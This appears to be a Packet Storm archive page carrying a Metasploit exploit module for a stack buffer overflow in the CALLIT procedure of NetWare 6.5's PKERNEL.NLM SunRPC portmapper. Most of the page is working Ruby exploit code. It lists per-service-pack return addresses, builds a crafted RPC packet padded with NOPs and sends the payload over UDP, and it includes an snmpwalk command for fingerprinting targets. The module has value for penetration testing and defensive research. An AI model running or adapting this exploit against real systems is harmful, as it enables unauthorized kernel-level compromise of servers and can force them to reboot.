what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

NetWare 6.5 SunRPC Portmapper CALLIT Stack Buffer Overflow

NetWare 6.5 SunRPC Portmapper CALLIT Stack Buffer Overflow
Posted Nov 16, 2010
Authored by pahtzo | Site metasploit.com

This Metasploit module exploits a stack buffer overflow in the NetWare PKERNEL.NLM driver's CALLIT procedure. PKERNEL.NLM is installed by default on all NetWare servers to support NFS. The PKERNEL.NLM module runs in kernel mode so a failed exploit attempt can cause the operating system to reboot.

tags | exploit, overflow, kernel
advisories | OSVDB-58447
SHA-256 | c27652aa07753a297590881df248cfadef324fbc2d9a80e2d259ef4293acfa99

NetWare 6.5 SunRPC Portmapper CALLIT Stack Buffer Overflow

Change Mirror Download
##
# $Id: pkernel_callit.rb 11039 2010-11-14 19:03:24Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking

include Msf::Exploit::Remote::Udp

def initialize(info = {})
super(update_info(info,
'Name' => 'NetWare 6.5 SunRPC Portmapper CALLIT Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in the NetWare PKERNEL.NLM driver's CALLIT procedure.
PKERNEL.NLM is installed by default on all NetWare servers to support NFS.
The PKERNEL.NLM module runs in kernel mode so a failed exploit attempt can
cause the operating system to reboot.
},
'Author' => [ 'pahtzo', ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 11039 $',
'References' =>
[
# There is no CVE for this vulnerability
[ 'BID', '36564' ],
[ 'OSVDB', '58447' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-09-067/' ],
],
'Privileged' => true,
'Payload' =>
{
'Space' => 2020,
},
'Platform' => 'netware',
'Targets' =>
[
# NetWare SP and PKERNEL.NLM version can be found in SNMP:
# snmpwalk -Os -c public -v 1 [target hostname] | egrep -i "sysdescr|pkernel.nlm"
# sysDescr.0 = STRING: Novell NetWare 5.70.08 October 3, 2008
# hrSWRunName.1191394992 = STRING: "PKERNEL.NLM v15.01 (20081014)"
[ 'NetWare 6.5 SP2', { 'Ret' => 0xb2329b98 } ], # push esp - ret (libc.nlm)
[ 'NetWare 6.5 SP3', { 'Ret' => 0xb234a268 } ], # push esp - ret (libc.nlm)
[ 'NetWare 6.5 SP4', { 'Ret' => 0xbabc286c } ], # push esp - ret (libc.nlm)
[ 'NetWare 6.5 SP5', { 'Ret' => 0xbabc9c3c } ], # push esp - ret (libc.nlm)
[ 'NetWare 6.5 SP6', { 'Ret' => 0x823c835c } ], # push esp - ret (libc.nlm)
[ 'NetWare 6.5 SP7', { 'Ret' => 0x823c83fc } ], # push esp - ret (libc.nlm)
[ 'NetWare 6.5 SP8', { 'Ret' => 0x823C870C } ], # push esp - ret (libc.nlm)
],

'DisclosureDate' => 'Sep 30 2009'))

register_options([Opt::RPORT(111)], self.class)
end

def exploit
connect_udp

buf = [rand(0xffffffff)].pack('N') # XID
buf << [0].pack('N') # Message Type: Call (0)
buf << [2].pack('N') # RPC Version: 2
buf << [100000].pack('N') # Program: Portmap (100000)
buf << [2].pack('N') # Program Version: 2
buf << [5].pack('N') # Procedure: CALLIT (5)
buf << [0].pack('N') # Credentials AUTH_NULL (0)
buf << [0].pack('N') # Length: 0
buf << [0].pack('N') # Verifier AUTH_NULL (0)
buf << [0].pack('N') # Length: 0
buf << [0].pack('N') # Program: Unknown (0)
buf << [1].pack('N') # Version: 1
buf << [1].pack('N') # Procedure: proc-1 (1)
buf << [4097].pack('N') # Arguments: <DATA> length: 4097

buf << make_nops(2072) # fill to ret
buf << [target.ret].pack('V') # addr. of push esp - ret
buf << payload.encoded #

# print_status("payload space #{payload_space()}...")
# print_status("payload len #{payload.encoded.length}...")
# print_status("total buf len #{buf.length}...")

print_status("Trying target #{target.name}...")

udp_sock.put(buf)
handler
disconnect_udp
end

end

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close